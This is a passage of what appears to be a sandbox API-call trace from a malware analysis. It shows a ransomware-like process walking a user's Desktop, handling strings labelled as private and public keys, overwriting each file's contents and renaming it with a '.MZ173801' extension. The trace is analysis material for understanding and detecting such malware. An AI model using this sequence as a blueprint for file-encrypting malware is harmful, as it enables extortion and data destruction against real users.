ftCreationTime.dwHighDateTime=0x1d5e44a, ftLastAccessTime.dwLowDateTime=0x8159dc0, ftLastAccessTime.dwHighDateTime=0x1d5e108, ftLastWriteTime.dwLowDateTime=0x8159dc0, ftLastWriteTime.dwHighDateTime=0x1d5e108, nFileSizeHigh=0x0, nFileSizeLow=0x137d5)) returned 1 [0176.254] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\IDF-wgV.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\idf-wgv.m4a")) returned 0x20 [0176.254] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\IDF-wgV.m4a", dwFileAttributes=0x80) returned 1 [0176.256] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0176.256] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0176.257] GetCurrentThreadId () returned 0xab4 [0176.257] GetCurrentThreadId () returned 0xab4 [0176.257] GetCurrentThreadId () returned 0xab4 [0176.258] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0176.258] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0176.258] GetCurrentThreadId () returned 0xab4 [0176.258] GetCurrentThreadId () returned 0xab4 [0176.258] GetCurrentThreadId () returned 0xab4 [0176.259] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\IDF-wgV.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\idf-wgv.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0176.259] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0176.259] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.259] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x137d5 [0176.259] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.259] ReadFile (in: hFile=0x320, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x137d5, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x137d5, lpOverlapped=0x0) returned 1 [0176.261] CloseHandle (hObject=0x320) returned 1 [0176.262] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\IDF-wgV.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\idf-wgv.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0176.264] WriteFile (in: hFile=0x320, lpBuffer=0x24b4040*, nNumberOfBytesToWrite=0x137d5, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24b4040*, lpNumberOfBytesWritten=0x19fa24*=0x137d5, lpOverlapped=0x0) returned 1 [0176.267] CloseHandle (hObject=0x320) returned 1 [0176.268] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\IDF-wgV.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\idf-wgv.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\IDF-wgV.m4a.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\idf-wgv.m4a.mz173801")) returned 1 [0176.268] GetCurrentThreadId () returned 0xab4 [0176.268] GetCurrentThreadId () returned 0xab4 [0176.268] GetCurrentThreadId () returned 0xab4 [0176.268] GetCurrentThreadId () returned 0xab4 [0176.268] GetCurrentThreadId () returned 0xab4 [0176.269] GetCurrentThreadId () returned 0xab4 [0176.269] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28abc170, ftCreationTime.dwHighDateTime=0x1d5edc6, ftLastAccessTime.dwLowDateTime=0xdca06b10, ftLastAccessTime.dwHighDateTime=0x1d5e3c9, ftLastWriteTime.dwLowDateTime=0xdca06b10, ftLastWriteTime.dwHighDateTime=0x1d5e3c9, nFileSizeHigh=0x0, nFileSizeLow=0x2fec, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="J8fmEpcFoOu5EizoMu T.odt", cAlternateFileName="J8FMEP~1.ODT")) returned 1 [0176.269] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0176.269] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0176.269] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a42e610, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xab308600, ftLastAccessTime.dwHighDateTime=0x1d5ea68, ftLastWriteTime.dwLowDateTime=0xab308600, ftLastWriteTime.dwHighDateTime=0x1d5ea68, nFileSizeHigh=0x0, nFileSizeLow=0x8f17, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="KMXghpbeR3-y8wVV9k.wav", cAlternateFileName="KMXGHP~1.WAV")) returned 1 [0176.269] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0176.269] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0176.269] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\KMXghpbeR3-y8wVV9k.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\kmxghpber3-y8wvv9k.wav"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a42e610, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xab308600, ftLastAccessTime.dwHighDateTime=0x1d5ea68, ftLastWriteTime.dwLowDateTime=0xab308600, ftLastWriteTime.dwHighDateTime=0x1d5ea68, nFileSizeHigh=0x0, nFileSizeLow=0x8f17)) returned 1 [0176.269] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\KMXghpbeR3-y8wVV9k.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\kmxghpber3-y8wvv9k.wav")) returned 0x20 [0176.269] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\KMXghpbeR3-y8wVV9k.wav", dwFileAttributes=0x80) returned 1 [0176.271] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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